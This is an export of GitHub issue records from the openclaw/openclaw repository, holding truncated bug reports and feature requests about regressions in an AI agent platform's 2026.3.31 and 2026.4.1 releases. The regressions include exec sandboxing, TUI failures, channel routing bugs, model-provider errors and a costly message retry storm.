- ... | closed | not_planned | true | 3 | [] | [] | 2026-04-01T11:38:05Z | 2026-04-28T05:14:49Z | 2026-04-25T12:53:52Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | yozu | 1,403,979 | MDQ6VXNlcjE0MDM5Nzk= | User | false |
openclaw/openclaw | 4,186,290,071 | I_kwDOQb6kR875hbeX | 58,985 | https://github.com/openclaw/openclaw/issues/58985 | https://api.github.com/repos/openclaw/openclaw/issues/58985 | [BUG] v2026.3.31: Web chat image upload/recognition broken, works fine after downgrading to v2026.3.28 | ## Description
In OpenClaw v2026.3.31, the web chat interface cannot upload images for recognition. The issue is resolved after downgrading to v2026.3.28.
## Steps to Reproduce
1. Upgrade to v2026.3.31
2. Try to upload an image in web chat (click paperclip button or drag & drop)
3. Image fails to send or recognize
... | closed | completed | true | 1 | [] | [] | 2026-04-01T11:47:33Z | 2026-04-28T05:14:48Z | 2026-04-25T12:53:59Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | animaiontj | 198,908,663 | U_kgDOC9sa9w | User | false |
openclaw/openclaw | 4,186,377,526 | I_kwDOQb6kR875hw02 | 58,990 | https://github.com/openclaw/openclaw/issues/58990 | https://api.github.com/repos/openclaw/openclaw/issues/58990 | Feishu channel: AI gives zero feedback during long tasks (no typing, no intermediate responses) | **Problem**: When using the Feishu channel, the AI gives **zero feedback** during task execution. The user sees nothing - no typing indicator, no intermediate messages, no progress updates. The user is completely in the dark about whether the AI is working or frozen.
**Detailed behavior:**
1. User sends a message via ... | closed | completed | true | 1 | [] | [] | 2026-04-01T12:02:24Z | 2026-04-28T05:14:47Z | 2026-04-25T12:54:13Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | lycanshilingwei | 268,326,951 | U_kgDOD_5YJw | User | false |
openclaw/openclaw | 4,186,655,495 | I_kwDOQb6kR875i0sH | 59,006 | https://github.com/openclaw/openclaw/issues/59006 | https://api.github.com/repos/openclaw/openclaw/issues/59006 | [Bug]: Update 2026.4.1 broke exec completely for existing setups — full day of work lost | ### Summary
The 2026.4.1 update introduced sandboxing and exec approval changes that **completely broke exec for all existing single-operator setups**. There was no migration guide, no warning on startup, and no way to opt out using documented config options. A full working day was lost trying to recover.
### What br... | closed | completed | true | 6 | [] | [] | 2026-04-01T12:45:28Z | 2026-04-28T05:14:46Z | 2026-04-25T12:54:42Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | fwends | 4,113,483 | MDQ6VXNlcjQxMTM0ODM= | User | false |
openclaw/openclaw | 4,186,678,730 | I_kwDOQb6kR875i6XK | 59,008 | https://github.com/openclaw/openclaw/issues/59008 | https://api.github.com/repos/openclaw/openclaw/issues/59008 | [Bug]: NO_REPLY / TUI completely unresponsive after 2026.4.1 update — model fails silently with no error shown | ### Summary
After updating to 2026.4.1, the TUI returns `NO_REPLY` for every message with zero feedback to the user. The agent appears idle but never responds. No error, no timeout message, no indication of what failed. The session is completely unusable.
This compounds the exec approval regression also introduced in... | closed | completed | true | 1 | [] | [] | 2026-04-01T12:49:14Z | 2026-04-28T05:14:46Z | 2026-04-25T12:54:49Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | fwends | 4,113,483 | MDQ6VXNlcjQxMTM0ODM= | User | false |
openclaw/openclaw | 4,186,724,255 | I_kwDOQb6kR875jFef | 59,017 | https://github.com/openclaw/openclaw/issues/59017 | https://api.github.com/repos/openclaw/openclaw/issues/59017 | [Bug]: Update 2026.4.1 silently sandboxes all skills — breaks 35+ skills with no migration path | ### Summary
After updating to 2026.4.1, all agent skills are silently moved into a sandbox directory (`~/.openclaw/sandboxes/agent-<id>/skills/`). Any skill that calls an external binary (Bear, Go, memo CLI, spotify, etc.) now fails with "missing dependencies" because the sandbox does not have access to host binaries.... | closed | completed | true | 1 | [] | [] | 2026-04-01T12:57:14Z | 2026-04-28T05:14:45Z | 2026-04-25T12:55:04Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | fwends | 4,113,483 | MDQ6VXNlcjQxMTM0ODM= | User | false |
openclaw/openclaw | 4,186,730,539 | I_kwDOQb6kR875jHAr | 59,018 | https://github.com/openclaw/openclaw/issues/59018 | https://api.github.com/repos/openclaw/openclaw/issues/59018 | [Bug]: TUI session resets spontaneously — loses all context and switches agent without user action | ### Summary
The TUI session resets on its own without any user action. All conversation context is lost and the agent switches automatically to a different agent/model. The user did nothing — it happened while they were watching the screen.
### Behavior
- Session was active and responding (Arthur, kimi/k2p5)
- Witho... | closed | completed | true | 1 | [] | [] | 2026-04-01T12:58:12Z | 2026-04-28T05:14:44Z | 2026-04-25T12:55:11Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | fwends | 4,113,483 | MDQ6VXNlcjQxMTM0ODM= | User | false |
openclaw/openclaw | 4,186,821,729 | I_kwDOQb6kR875jdRh | 59,024 | https://github.com/openclaw/openclaw/issues/59024 | https://api.github.com/repos/openclaw/openclaw/issues/59024 | [Bug]: FailoverError — CLI timeout after 600s with no output, failover never triggers, TUI/webchat unresponsive | ### Summary
When the primary model fails or hangs, the agent produces `FailoverError: CLI produced no output for 600s and was terminated` instead of failing over to the configured fallback model. The session goes into `error` state and becomes completely unresponsive. The user cannot communicate with any model through... | closed | completed | true | 1 | [] | [] | 2026-04-01T13:10:21Z | 2026-04-28T05:14:43Z | 2026-04-25T12:55:18Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | fwends | 4,113,483 | MDQ6VXNlcjQxMTM0ODM= | User | false |
openclaw/openclaw | 4,186,821,934 | I_kwDOQb6kR875jdUu | 59,025 | https://github.com/openclaw/openclaw/issues/59025 | https://api.github.com/repos/openclaw/openclaw/issues/59025 | [Bug]: Task flow completion leaks internal routing metadata into Discord channel | ## Description
After upgrading to OpenClaw 2026.3.31, ACP task completion events leak internal routing metadata and system instructions into user-facing Discord channels as plain messages.
## Environment
- OpenClaw version: 2026.3.31
- Channel: Discord (guild channel with thread bindings enabled)
- ACP backend: acpx... | closed | completed | true | 1 | [] | [] | 2026-04-01T13:10:23Z | 2026-04-28T05:14:43Z | 2026-04-25T12:55:25Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | CountofGlamorgan | 59,939,121 | MDQ6VXNlcjU5OTM5MTIx | User | false |
openclaw/openclaw | 4,186,687,611 | I_kwDOQb6kR875i8h7 | 59,009 | https://github.com/openclaw/openclaw/issues/59009 | https://api.github.com/repos/openclaw/openclaw/issues/59009 | [Bug] Feishu: p2p reactions routed to group session — chat_id oc_ prefix misidentified as group | ## Bug Description
Feishu p2p (direct message) reaction events are incorrectly routed to a group session instead of the user's direct session, causing the agent to respond in the wrong context or not respond at all.
## Root Cause
Two issues in `resolveReactionSyntheticEvent` (source: `extensions/feishu/src/monitor.a... | closed | not_planned | true | 2 | [] | [] | 2026-04-01T12:50:46Z | 2026-04-28T05:14:42Z | 2026-04-25T12:54:57Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | Chargiie | 125,421,337 | U_kgDOB3nHGQ | User | false |
openclaw/openclaw | 4,186,920,819 | I_kwDOQb6kR875j1dz | 59,037 | https://github.com/openclaw/openclaw/issues/59037 | https://api.github.com/repos/openclaw/openclaw/issues/59037 | [Bug]: TUI sessions bleed model config — changing model in one session affects other sessions | ### Summary
Changing the model in one TUI session causes other TUI sessions to switch to the same model without user action. Sessions should be fully isolated — a model change in session A should never affect session B.
### Steps to reproduce
1. Open two TUI sessions for the same agent
2. In session A, change model ... | closed | completed | true | 1 | [] | [] | 2026-04-01T13:23:48Z | 2026-04-28T05:14:40Z | 2026-04-25T12:55:47Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | fwends | 4,113,483 | MDQ6VXNlcjQxMTM0ODM= | User | false |
openclaw/openclaw | 4,186,975,948 | I_kwDOQb6kR875kC7M | 59,039 | https://github.com/openclaw/openclaw/issues/59039 | https://api.github.com/repos/openclaw/openclaw/issues/59039 | [Bug]: `openclaw flows` command documented in changelog but not available in CLI | ## Summary
The `openclaw flows list|show|cancel` command is documented in the v2026.3.31 changelog but the CLI returns `error: unknown command 'flows'`.
## OpenClaw version
OpenClaw 2026.3.31 (213a704)
## Environment
- OS: macOS 26.2 (arm64)
- Node: v25.5.0
- Install: npm global (.npm-global) + homebrew
## Steps ... | closed | completed | true | 1 | [] | [] | 2026-04-01T13:31:56Z | 2026-04-28T05:14:40Z | 2026-04-25T12:55:54Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | zwd0313 | 159,164,983 | U_kgDOCXyqNw | User | false |
openclaw/openclaw | 4,328,137,363 | I_kwDOQb6kR88AAAABAfoikw | 71,583 | https://github.com/openclaw/openclaw/issues/71583 | https://api.github.com/repos/openclaw/openclaw/issues/71583 | [Bug] QQ token fetch to bots.qq.com times out across A/B uplinks (core healthy) | # [Bug] QQ token fetch to `bots.qq.com` times out across A/B uplinks (core healthy)
## Summary
QQ channel stays disconnected because token fetch to `https://bots.qq.com/app/getAppAccessToken` times out (`http_code=000`) even though OpenClaw core gateway/dashboard is healthy.
## Environment
- OpenClaw `2026.4.23` (sta... | open | null | false | 2 | [] | [] | 2026-04-25T12:55:10Z | 2026-05-02T06:32:01Z | null | NONE | null | 20260502T090030Z | 2026-05-02T09:00:30Z | Huxyu001 | 92,989,138 | U_kgDOBYrm0g | User | false |
openclaw/openclaw | 4,186,980,171 | I_kwDOQb6kR875kD9L | 59,040 | https://github.com/openclaw/openclaw/issues/59040 | https://api.github.com/repos/openclaw/openclaw/issues/59040 | Gateway restart/update resets session-level thinking setting to off | ## Bug
When the gateway restarts (e.g. after an update via `pnpm add -g openclaw@latest` + `openclaw gateway restart`), session-level thinking settings are reset to `off`.
## Steps to Reproduce
1. Set thinking to `high` via Control UI or `/reasoning high`
2. Confirm thinking is `high` in session status
3. Run `openc... | closed | completed | true | 1 | [] | [] | 2026-04-01T13:32:33Z | 2026-04-28T05:14:39Z | 2026-04-25T12:56:01Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | theghostybot | 258,442,348 | U_kgDOD2eEbA | User | false |
openclaw/openclaw | 4,187,168,017 | I_kwDOQb6kR875kx0R | 59,051 | https://github.com/openclaw/openclaw/issues/59051 | https://api.github.com/repos/openclaw/openclaw/issues/59051 | New security defaults silently break existing workflows after upgrade | ## Summary
Upgrading from 2026.3.28 to 2026.3.31 silently introduced `tools.exec.strictInlineEval` defaulting to `true`, which blocks `python3 -c`, `node -e`, heredocs, and all inline eval forms -- even when the user has an existing allowlist with `ask: off` and `security: full`.
This broke ~30+ cron jobs and all int... | closed | not_planned | true | 1 | [] | [] | 2026-04-01T13:59:50Z | 2026-04-28T05:14:38Z | 2026-04-25T12:56:16Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | mmartoccia | 4,631,577 | MDQ6VXNlcjQ2MzE1Nzc= | User | false |
openclaw/openclaw | 4,187,176,727 | I_kwDOQb6kR875kz8X | 59,052 | https://github.com/openclaw/openclaw/issues/59052 | https://api.github.com/repos/openclaw/openclaw/issues/59052 | [Bug]: [macOS ARM64] Gateway crashes on Apple Silicon (M1/M2/M3) - Code Signing + Resource Exhaustion | ### Bug type
Crash (process/app exits or hangs)
### Beta release blocker
No
### Summary
## Bug Description
The OpenClaw gateway crashes within seconds of startup on macOS ARM64 (Apple Silicon M1/M2/M3) Macs. The crashes are caused by a combination of:
1. **Code Signing Issues** with `@matrix-org/matrix-sdk-crypt... | closed | completed | true | 1 | [
"bug",
"bug:crash"
] | [] | 2026-04-01T14:01:14Z | 2026-04-28T05:14:37Z | 2026-04-25T12:56:23Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | ahsan3274 | 31,914,981 | MDQ6VXNlcjMxOTE0OTgx | User | false |
openclaw/openclaw | 4,187,234,113 | I_kwDOQb6kR875lB9B | 59,060 | https://github.com/openclaw/openclaw/issues/59060 | https://api.github.com/repos/openclaw/openclaw/issues/59060 | [Bug]: **Tool execution failures with Kimi K2.5 model - "missing tool result in session history" errors** | ### Bug type
Behavior bug (incorrect output/state without crash)
### Beta release blocker
No
### Summary
Experiencing systematic tool execution failures when using `moonshot/kimi-k2.5` as the default model. Multiple tools return `"missing tool result in session history; inserted synthetic error result for transcri... | closed | completed | true | 1 | [
"bug"
] | [] | 2026-04-01T14:09:56Z | 2026-04-28T05:14:37Z | 2026-04-25T12:56:30Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | djb-stack | 262,011,833 | U_kgDOD537uQ | User | false |
openclaw/openclaw | 4,187,235,848 | I_kwDOQb6kR875lCYI | 59,061 | https://github.com/openclaw/openclaw/issues/59061 | https://api.github.com/repos/openclaw/openclaw/issues/59061 | [Feature]: Add Junie CLI support to ACP/ACPX | ### Summary
Junie CLI is Jetbrains's Agentic CLI tool. It should be supported on top of all the current supported CLI tools like Claude Code etc.
### Problem to solve
OpenClaw agents can run on a locally installed Claude Code CLI instead of an API model. This change should add support for the same thing for Junie CL... | closed | completed | true | 1 | [
"enhancement"
] | [] | 2026-04-01T14:10:13Z | 2026-04-28T05:14:36Z | 2026-04-25T12:56:37Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | moltenice | 5,939,277 | MDQ6VXNlcjU5MzkyNzc= | User | false |
openclaw/openclaw | 4,187,245,263 | I_kwDOQb6kR875lErP | 59,063 | https://github.com/openclaw/openclaw/issues/59063 | https://api.github.com/repos/openclaw/openclaw/issues/59063 | Sandboxed agents cannot reliably consume downloaded files because host workspace paths are returned instead of /workspace paths | For sandboxed agents, files downloaded by tools may be saved to host paths such as:
- `/home/jihua/.openclaw/workspaces/workspace-<agent>/...`
- `/tmp/openclaw/...`
- `/home/jihua/.openclaw/media/inbound/...`
However, subsequent tool calls running inside the agent sandbox appear to resolve files relative to `/workspa... | closed | completed | true | 1 | [] | [] | 2026-04-01T14:11:32Z | 2026-04-28T05:14:35Z | 2026-04-25T12:56:44Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | lijihua2017 | 33,613,942 | MDQ6VXNlcjMzNjEzOTQy | User | false |
openclaw/openclaw | 4,187,249,130 | I_kwDOQb6kR875lFnq | 59,064 | https://github.com/openclaw/openclaw/issues/59064 | https://api.github.com/repos/openclaw/openclaw/issues/59064 | Bug: Silent failure and fallback override when OpenAI usage limit (429) is hit | **Describe the bug**
When the OpenAI usage limit or rate limit (HTTP 429) is reached, OpenClaw detects the error but fails to proactively notify the user via configured channels (e.g., Slack). Furthermore, although the system correctly selects the fallback model (e.g., `google/gemini-3.1-pro-preview`), a live session m... | closed | completed | true | 4 | [] | [] | 2026-04-01T14:12:01Z | 2026-04-28T05:14:34Z | 2026-04-25T12:56:52Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | BenSHPD | 58,794,577 | MDQ6VXNlcjU4Nzk0NTc3 | User | false |
openclaw/openclaw | 4,187,308,379 | I_kwDOQb6kR875lUFb | 59,067 | https://github.com/openclaw/openclaw/issues/59067 | https://api.github.com/repos/openclaw/openclaw/issues/59067 | Add native control-plane task starter for repo-backed ACP workflows | ## Problem
DishPics now has a documented control-plane workflow for implementation tasks, but the startup path is still split awkwardly across:
- repo-local shell prep (`.claw/scripts/start-control-plane-task.sh`)
- manual/OpenClaw-tool ACP session spawn
- manual registry update with returned session id
That means st... | closed | not_planned | true | 1 | [] | [] | 2026-04-01T14:19:36Z | 2026-04-28T05:14:34Z | 2026-04-25T12:56:59Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | gb-baomeow | 271,766,398 | U_kgDOEDLTfg | User | false |
openclaw/openclaw | 4,187,386,852 | I_kwDOQb6kR875lnPk | 59,073 | https://github.com/openclaw/openclaw/issues/59073 | https://api.github.com/repos/openclaw/openclaw/issues/59073 | memory_search falls back because qmd managed collection memory-alt-main is missing and repair does not recreate it | ## Summary
On OpenClaw 2026.3.31, `memory_search` attempts to query qmd with a managed collection named `memory-alt-main`, but that collection does not exist. The repair path logs that it is repairing missing managed collections and retrying once, but the collection still is not created/rebound successfully. Search th... | closed | completed | true | 4 | [] | [] | 2026-04-01T14:30:38Z | 2026-04-28T05:14:33Z | 2026-04-25T12:57:06Z | CONTRIBUTOR | null | 20260428T060020Z | 2026-04-28T06:00:20Z | sinogello | 4,157,921 | MDQ6VXNlcjQxNTc5MjE= | User | false |
openclaw/openclaw | 4,187,703,594 | I_kwDOQb6kR875m0kq | 59,095 | https://github.com/openclaw/openclaw/issues/59095 | https://api.github.com/repos/openclaw/openclaw/issues/59095 | [Proposal] Built-in Adaptive Memory: hierarchical memory management as a core feature | ## Summary
Memory management is currently left to users via AGENTS.md instructions or third-party skills, but it's fundamental enough to warrant first-class support in OpenClaw. This proposal describes a battle-tested three-layer memory architecture that has been running in production for 2+ months.
## Problem
Every... | closed | not_planned | true | 5 | [] | [] | 2026-04-01T15:10:13Z | 2026-04-28T05:14:32Z | 2026-04-25T12:57:21Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | yozu | 1,403,979 | MDQ6VXNlcjE0MDM5Nzk= | User | false |
openclaw/openclaw | 4,187,746,052 | I_kwDOQb6kR875m-8E | 59,099 | https://github.com/openclaw/openclaw/issues/59099 | https://api.github.com/repos/openclaw/openclaw/issues/59099 | [Bug]: Too many arguments error when running openclaw browser extension install/path | ### Bug type
Behavior bug (incorrect output/state without crash)
### Beta release blocker
No
### Summary
root@YANHUA:~/.openclaw# openclaw browser extension install
Config was last written by a newer OpenClaw (2026.3.31); current version is 2026.3.24.
error: too many arguments for 'browser'. Expected 0 arguments b... | closed | not_planned | true | 3 | [
"bug",
"bug:behavior"
] | [] | 2026-04-01T15:15:44Z | 2026-04-28T05:14:31Z | 2026-04-25T12:57:28Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | dong-jh | 46,438,624 | MDQ6VXNlcjQ2NDM4NjI0 | User | false |
openclaw/openclaw | 4,187,777,268 | I_kwDOQb6kR875nGj0 | 59,102 | https://github.com/openclaw/openclaw/issues/59102 | https://api.github.com/repos/openclaw/openclaw/issues/59102 | [Design Feedback] Exec approval UX breaks Telegram mobile-first experience | ## Problem 1: Approval and output are decoupled
When `approvals.exec.mode: "targets"` is set, exec results are sent directly to the target channel (Telegram), bypassing the agent. The user sees raw terminal output in Telegram with no formatting, while the approval UI lives in Control UI on a different surface.
## Prob... | closed | completed | true | 4 | [] | [] | 2026-04-01T15:20:04Z | 2026-04-28T05:14:31Z | 2026-04-25T12:57:35Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | hellopizza-cell | 272,862,913 | U_kgDOEEOOwQ | User | false |
openclaw/openclaw | 4,187,796,346 | I_kwDOQb6kR875nLN6 | 59,103 | https://github.com/openclaw/openclaw/issues/59103 | https://api.github.com/repos/openclaw/openclaw/issues/59103 | [Bug]: flow-registry.store.test.ts times out on Windows CI (checks-windows-node-test-3, checks-windows-node-test-6) | ## Summary
`src/tasks/flow-registry.store.test.ts` consistently times out after 120 seconds on Windows CI runners, causing `checks-windows-node-test-3` and `checks-windows-node-test-6` to fail.
This appears to be a new flaky test introduced with the task/flow system in v2026.3.31 and is unrelated to the code under re... | closed | completed | true | 1 | [] | [] | 2026-04-01T15:22:40Z | 2026-04-28T05:14:30Z | 2026-04-25T12:57:42Z | CONTRIBUTOR | null | 20260428T060020Z | 2026-04-28T06:00:20Z | duqaXxX | 12,242,811 | MDQ6VXNlcjEyMjQyODEx | User | false |
openclaw/openclaw | 4,187,815,239 | I_kwDOQb6kR875nP1H | 59,104 | https://github.com/openclaw/openclaw/issues/59104 | https://api.github.com/repos/openclaw/openclaw/issues/59104 | Inbound image processing hangs silently in WSL2 due to GNOME Keyring blocking | ## Title: Inbound image processing hangs silently in WSL2 due to GNOME Keyring blocking
## Body
### Environment
- **OS**: Ubuntu 24.04 on WSL2 (Windows 11, WSLg enabled)
- **OpenClaw**: v2026.3.31 (213a704)
- **Node.js**: v24.14.0
- **Service manager**: systemd user service
- **Channel**: Feishu (websocket), but lik... | closed | completed | true | 6 | [] | [] | 2026-04-01T15:25:22Z | 2026-04-28T05:14:29Z | 2026-04-25T12:57:49Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | jojojonathan | 37,664,587 | MDQ6VXNlcjM3NjY0NTg3 | User | false |
openclaw/openclaw | 4,187,924,948 | I_kwDOQb6kR875nqnU | 59,122 | https://github.com/openclaw/openclaw/issues/59122 | https://api.github.com/repos/openclaw/openclaw/issues/59122 | Provider layer sends full model path to Ollama API instead of model name, causing "model not found" errors | ### Bug type
Behavior bug (incorrect output/state without crash)
### Beta release blocker
No
### Summary
OpenClaw sends ollama-beelink2/qwen2.5-coder:7b to Ollama instead of just qwen2.5-coder:7b, causing 0-token responses.
### Steps to reproduce
## **Steps to reproduce:**
1. Configure an Ollama provider in Ope... | closed | completed | true | 1 | [
"bug"
] | [] | 2026-04-01T15:38:48Z | 2026-04-28T05:14:28Z | 2026-04-25T12:58:11Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | lamarbrantley | 31,143,152 | MDQ6VXNlcjMxMTQzMTUy | User | false |
openclaw/openclaw | 4,187,995,795 | I_kwDOQb6kR875n76T | 59,131 | https://github.com/openclaw/openclaw/issues/59131 | https://api.github.com/repos/openclaw/openclaw/issues/59131 | Bug: openclaw@2026.3.28 npm package is incomplete (missing extensions/runtime-api files) | ## Summary
The published npm package `openclaw@2026.3.28` appears incomplete. A clean install still results in missing files under `packages/extensions`, and `npm pack openclaw@2026.3.28` confirms the tarball itself does not contain them.
## What I checked
After reinstalling globally, the local install still missed th... | closed | completed | true | 1 | [] | [] | 2026-04-01T15:48:49Z | 2026-04-28T05:14:27Z | 2026-04-25T12:58:18Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | BenSHPD | 58,794,577 | MDQ6VXNlcjU4Nzk0NTc3 | User | false |
openclaw/openclaw | 4,187,997,516 | I_kwDOQb6kR875n8VM | 59,132 | https://github.com/openclaw/openclaw/issues/59132 | https://api.github.com/repos/openclaw/openclaw/issues/59132 | Retry storm: same inbound message replayed 94+ times causing excessive API usage ($149 in one day) | ## Summary
A single inbound Telegram message was replayed into the agent session **94 times** over ~2 hours, each triggering a full Sonnet API call. This resulted in ~$149 in unexpected API charges in a single day.
## Reproduction
1. A Telegram group message arrives in a group handled by `cfd-ea` agent
2. The agent ... | closed | completed | true | 1 | [] | [] | 2026-04-01T15:49:07Z | 2026-04-28T05:14:27Z | 2026-04-25T12:58:25Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | galaxyindesign | 260,192,951 | U_kgDOD4I6tw | User | false |
openclaw/openclaw | 4,188,050,497 | I_kwDOQb6kR875oJRB | 59,135 | https://github.com/openclaw/openclaw/issues/59135 | https://api.github.com/repos/openclaw/openclaw/issues/59135 | perf: subcommand --help takes 10-22 seconds due to eager jiti plugin compilation in pi-embedded | ## Summary
`openclaw <subcommand> --help` blocks for 10–22 seconds on every invocation. The root `--help` fast path (`openclaw --help`) works correctly at ~165ms. The regression affects all subcommands that trigger full program initialization: `status`, `agent`, `secrets`, `gateway`, `sessions`, `tasks`, etc.
## Meas... | closed | completed | true | 1 | [] | [] | 2026-04-01T15:58:31Z | 2026-04-28T05:14:26Z | 2026-04-25T12:58:32Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | DerFlash | 185,013 | MDQ6VXNlcjE4NTAxMw== | User | false |
openclaw/openclaw | 4,188,190,178 | I_kwDOQb6kR875orXi | 59,148 | https://github.com/openclaw/openclaw/issues/59148 | https://api.github.com/repos/openclaw/openclaw/issues/59148 | System metadata messages displayed in web control UI after session compaction | ## Bug Description
After a session compaction occurs, the web control UI started showing internal System metadata messages, including:
- System: [timestamp] [Post-compaction context refresh]
- Various internal messages like System (untrusted):
- Session startup sequence guidance
## Steps to Reproduce
1. Use OpenCl... | closed | completed | true | 1 | [] | [] | 2026-04-01T16:20:37Z | 2026-04-28T05:14:25Z | 2026-04-25T12:58:47Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | tqyemei | 272,467,682 | U_kgDOED2G4g | User | false |
openclaw/openclaw | 4,188,283,853 | I_kwDOQb6kR875pCPN | 59,152 | https://github.com/openclaw/openclaw/issues/59152 | https://api.github.com/repos/openclaw/openclaw/issues/59152 | Control UI slash command autocomplete doesn't show workspace/user-invocable skills | ## Problem
The Control UI (webchat) slash command autocomplete (`/` triggered dropdown) only shows hard-coded built-in commands like `/help`, `/status`, `/new`, etc.
It does NOT show workspace skills that have `user-invocable: true` in their SKILL.md frontmatter — even though the gateway correctly loads those skills ... | closed | completed | true | 2 | [] | [] | 2026-04-01T16:34:07Z | 2026-04-28T05:14:24Z | 2026-04-25T12:58:54Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | scott-x | 44,701,197 | MDQ6VXNlcjQ0NzAxMTk3 | User | false |
openclaw/openclaw | 4,188,394,776 | I_kwDOQb6kR875pdUY | 59,155 | https://github.com/openclaw/openclaw/issues/59155 | https://api.github.com/repos/openclaw/openclaw/issues/59155 | Native Support for Custom TTS Port Protocols | ### Summary
Native Support for Custom TTS Port Protocols
### Problem to solve
Currently, to connect a custom TTS service running on a custom port with a proprietary protocol in OpenClaw, users can only achieve this through two workarounds: developing a custom Skill plugin, or configuring a local proxy for traffic fo... | closed | not_planned | true | 1 | [
"enhancement"
] | [] | 2026-04-01T16:47:58Z | 2026-04-28T05:14:24Z | 2026-04-25T12:59:01Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | blue6-z | 251,441,441 | U_kgDODvyxIQ | User | false |
openclaw/openclaw | 4,188,596,684 | I_kwDOQb6kR875qOnM | 59,166 | https://github.com/openclaw/openclaw/issues/59166 | https://api.github.com/repos/openclaw/openclaw/issues/59166 | Add config option to disable subagent completion notifications in /status | ## Problem
When a subagent task completes, the result is automatically appended to the `/status` output. This can make the status output very long and cluttered, especially when the user just wants to see basic runtime info (model, tokens, etc.).
## Current Behavior
```
/status
```
Shows:
1. Runtime status card (ex... | closed | not_planned | true | 2 | [] | [] | 2026-04-01T17:20:52Z | 2026-04-28T05:14:23Z | 2026-04-25T12:59:08Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | Mubai1124 | 268,139,048 | U_kgDOD_t6KA | User | false |
openclaw/openclaw | 4,188,665,997 | I_kwDOQb6kR875qfiN | 59,171 | https://github.com/openclaw/openclaw/issues/59171 | https://api.github.com/repos/openclaw/openclaw/issues/59171 | fix: thread dangerouslyForceUnsafeInstall through installPluginFromArchive and npm archiveInstallParams | ## Summary
In OpenClaw **2026.3.31**, `openclaw plugins install <spec> --dangerously-force-unsafe-install` has no effect for installs that go through **tarball/archive extraction** (e.g. ClawHub and `npm pack` flows).
## Root cause
- `installPluginFromArchive` calls `pickPackageInstallCommonParams({ ... })` but omits ... | closed | completed | true | 1 | [] | [] | 2026-04-01T17:29:00Z | 2026-04-28T05:14:22Z | 2026-04-25T12:59:15Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | aaronson2012 | 15,083,264 | MDQ6VXNlcjE1MDgzMjY0 | User | false |
openclaw/openclaw | 4,328,145,755 | I_kwDOQb6kR88AAAABAfpDWw | 71,584 | https://github.com/openclaw/openclaw/issues/71584 | https://api.github.com/repos/openclaw/openclaw/issues/71584 | /think max rejected for ollama/deepseek-v4-flash:cloud despite provider support | ## Summary
`/think max` fails with `"Unsupported thinking level 'max' for this model"` even though the underlying provider (Ollama) supports `reasoning_effort: "max"` perfectly fine.
## Bug Description
### Expected Behavior
When using `/think max` with a model that supports reasoning (e.g., `deepseek-v4-flash:cloud... | closed | completed | true | 4 | [] | [] | 2026-04-25T12:59:29Z | 2026-04-29T04:33:31Z | 2026-04-26T21:49:43Z | NONE | null | 20260429T060025Z | 2026-04-29T06:00:25Z | g0st1n | 279,233,793 | U_kgDOEKTFAQ | User | false |
openclaw/openclaw | 4,188,795,190 | I_kwDOQb6kR875q_E2 | 59,181 | https://github.com/openclaw/openclaw/issues/59181 | https://api.github.com/repos/openclaw/openclaw/issues/59181 | [Bug]: sessions_spawn rejects plugin channels (feishu, wecom, etc.) with 'unknown channel' | ## Summary
`sessions_spawn` fails with `"invalid agent params: unknown channel: feishu"` (or wecom, lightclawbot, etc.) when called from a session running on a plugin-provided channel, even though the channel is fully functional for message sending/receiving.
## Environment
- OpenClaw version: 2026.3.28
- OS: Linux ... | closed | completed | true | 1 | [] | [] | 2026-04-01T17:50:51Z | 2026-04-28T05:14:21Z | 2026-04-25T12:59:30Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | sungci | 6,957,741 | MDQ6VXNlcjY5NTc3NDE= | User | false |
openclaw/openclaw | 4,188,846,460 | I_kwDOQb6kR875rLl8 | 59,186 | https://github.com/openclaw/openclaw/issues/59186 | https://api.github.com/repos/openclaw/openclaw/issues/59186 | [Bug]: stepfun/step-3.5-flash returns 401 when used directly (not via openrouter) | ## Bug type
Regression / API authentication issue
## Summary
When using stepfun/step-3.5-flash model directly (not via openrouter), OpenClaw returns 401 Incorrect API key provided, even though the API key is correct (verified via curl).
## Environment
- OpenClaw version: 2026.3.31
- Platform: Linux
- Provider: stepfu... | closed | not_planned | true | 2 | [] | [] | 2026-04-01T18:00:08Z | 2026-04-28T05:14:21Z | 2026-04-25T12:59:38Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | smallmj | 23,742,160 | MDQ6VXNlcjIzNzQyMTYw | User | false |
